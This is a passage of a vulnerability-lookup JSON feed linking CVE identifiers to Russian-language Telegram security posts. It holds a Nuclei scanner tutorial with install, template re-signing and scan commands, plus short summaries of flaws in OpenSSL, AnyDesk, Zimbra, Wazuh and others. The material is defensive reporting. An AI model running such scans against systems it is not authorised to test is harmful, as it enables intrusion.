\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 RedMike/Salt Typhoon.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:11.342163Z"}, {"uuid": "444a0be9-65ec-4864-b471-dc27402570f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "published-proof-of-concept", "source": "https://t.me/purple_team_diary/50", "content": "\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 Nuclei (\u0427\u0430\u0441\u0442\u044c 1) \n\nNuclei \u2014 \u044d\u0442\u043e \u043c\u043e\u0449\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 ProjectDiscovery. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0430\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442, \u043a\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043a\u0430\u0442\u044c \u0438 \u043a\u0430\u043a \u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c. \u042d\u0442\u043e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0434\u043b\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0430\u0434\u0430\u0447.\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430: \n\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n\n\u041f\u0435\u0440\u0435\u0434 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0448\u0430\u0431\u043b\u043e\u043d \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0435\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432:\n\n\n# \u0423\u0434\u0430\u043b\u044f\u0435\u043c \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\nsed -i '$ d' nuclei-templates/CVE-2024-1234.yaml\n\n# \u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0448\u0430\u0431\u043b\u043e\u043d\nnuclei -u https://example.com -t nuclei-templates/CVE-2024-1234.yaml -sign\n\n# \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\nnuclei -target https://example.com -t nuclei-templates/CVE-2024-1234.yaml -code\n\n\nNuclei \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0445 \u043e\u043f\u0446\u0438\u0439 \u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0438 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f:\n\n# \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438\nnuclei -u https://example.com -t nuclei-templates/ -timeout 10\n\n# \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u0432\u044b\u0432\u043e\u0434\u043e\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0432 \u0444\u0430\u0439\u043b\nnuclei -u https://example.com -t nuclei-templates/ -o results.txt\n\n#Pentest", "creation_timestamp": "2026-08-05T00:00:06.667596Z"}, {"uuid": "53d02b99-7674-41cd-a352-fbd23b5dc1e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://t.me/purp_sec/265", "content": "@Pr0xProw, \u044f \u0443\u0432\u0435\u0440\u0435\u043d, \u0447\u0442\u043e \u0442\u0435\u0431\u0435 \u043a\u0430\u043a \u0440\u0435\u0434\u0442\u0438\u043c\u0435\u0440\u0443 \u0435\u0441\u0442\u044c \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0447\u0435\u0433\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e \u00ab\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u00bb Apple. \u041d\u043e \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043c\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u043d\u044b\u0445 \u043a \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0449\u0435\u0439, \u043e\u0442 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0442\u0432\u043b\u0435\u043a\u0430\u0442\u044c\u0441\u044f \u0432 \u0443\u0433\u043e\u0434\u0443 \u0441\u043b\u0443\u0445\u0430\u043c. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f, \u043a\u043e\u0433\u0434\u0430 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043f\u0440\u043e CVE. \u041f\u043e\u0441\u043f\u043b\u0435\u0442\u043d\u0438\u0447\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438 \u0432 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 \u0437\u0430 \u043f\u0438\u0432\u043e\u043c. \ud83d\ude09\n\n\u0412\u043e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435. \n\n\ud83d\udd35CVE-2025-1143 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0438\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 Billion Electric, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043c\u0435\u044e\u0442 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 Linux, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0447\u0435\u0440\u0435\u0437 SSH \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c root \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\ud83d\udd35CVE-2025-24032, CVE-2025-24531 \u0438 CVE-2025-24031 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 PAM-PKCS#11, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 X.509. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\ud83d\udd35CVE-2025-23369 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e SAML \u0432 GitHub Enterprise. \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 libxml2, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 SAML. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043e\u0442\u0432\u0435\u0442\u044b, \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u044e\u0431\u044b\u043c \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u044f\u043c.\n\n\ud83d\udd35CVE-2024-12366 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PandasAI, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c\u0438 \u043d\u0430 \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 Python, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Wazuh, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0432 API \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438, \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u041c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043b\u044e\u0431\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API.\n\n\ud83d\udd35\u041f\u0430\u0442\u0447 \u043e\u0442 Ivanti \u2014 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 8 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:11.432132Z"}, {"uuid": "9e104b89-b30e-485f-a927-5747eba329e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://t.me/purp_sec/263", "content": "\ud83d\udee1\u0412 OpenSSL \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-12797), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e Raw Public Key (RPK)\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 RFC7250 RPK \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043c\u043e\u0433\u0443\u0442 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e. \u042d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u044f \u0445\u0435\u043d\u0434\u0448\u0435\u0439\u043a\u043e\u0432 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 SSL_VERIFY_PEER. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u0435\u0441\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0430\u0442 \u0441\u0431\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f TLS \u0438 DTLS, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 RPK, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f MITM-\u0430\u0442\u0430\u043a.\n\nRPK \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 TLS. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 RPK \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 RPK \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 X.509.\n\n\u0423\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043f\u0430\u0442\u0447\u0438 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0438 OpenSSL. \n\n#blue_team #CVE #OpenSSL", "creation_timestamp": "2026-08-04T13:00:12.900121Z"}, {"uuid": "c5580c5e-9c38-41eb-98e4-4c5e35649fd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-01)", "content": "", "creation_timestamp": "2026-08-02T10:19:23.996979Z"}, {"uuid": "a6475d10-bb66-4fa7-9d57-249bf060f17e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/purp_sec/253", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\nCVE-2024-12754 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 AnyDesk, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0432\u0441\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. \u0417\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0447\u0442\u0435\u043d\u0438\u044f/\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u043e\u0439 AnyDesk \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 NT AUTHORITY\\SYSTEM.\n\nCVE-2025-25064 (SQLi) \u0438 CVE-2025-25065 (SSRF) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Zimbra Collaboration, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438.\n\nCVE-2025-24786 (Path Traversal) \u0438 CVE-2025-24787 (Parameter Injection) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 WhoDB, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u0438 \u0432\u0437\u043b\u043e\u043c\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\nCVE-2024-48510 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 ABB Drive Composer. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 